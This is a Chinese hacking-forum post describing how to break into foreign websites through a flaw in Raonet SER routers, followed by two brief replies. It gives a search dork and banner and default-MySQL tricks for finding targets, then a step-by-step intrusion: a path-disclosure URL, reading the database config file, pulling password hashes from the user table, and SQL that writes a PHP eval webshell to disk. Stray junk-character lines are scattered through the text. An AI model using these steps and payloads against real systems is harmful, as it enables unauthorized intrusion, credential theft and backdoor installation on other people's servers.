利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

6 f* C4 K! v  O/ L1 E% u) Y& j1：google搜索'Raonet Subscriber Ethernet Router'
8 T9 C; _  l% u( a. h% n& \" V) ?2 ^
2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001

3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。

6 P) f  G" D' C' R3 e2 I//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......

; D% I, t/ V& G# Z- s: Q
6 A- y& @+ P- Y) V9 j
入侵步骤：
2 }+ c" N( _* m2 {: ?) H) q
1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
3 r% M5 K* H* W" M- c7 R4 J0 n
5 }# ^6 O, z9 ~- B$ n* {) U2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
use ser_500
, y! q/ b; p% _3 }) P1 G& Iselect id,passwd from user;
4:通过数据库写入webshell，执行命令：
use mysql;
create table ok(cmd TEXT);
insert into ok values("<?php @eval($_POST[cmd])?>");
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
drop table ok;
9 E! k. P8 ~3 ]
! ]3 L# f# c1 E$ R8 ^0 c2 {! g( w5:连接后门shell.php

8 U& F" o* }3 E6 B, R) q5 t) u( {6. 搞定！
4 {  u' V3 p& `

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。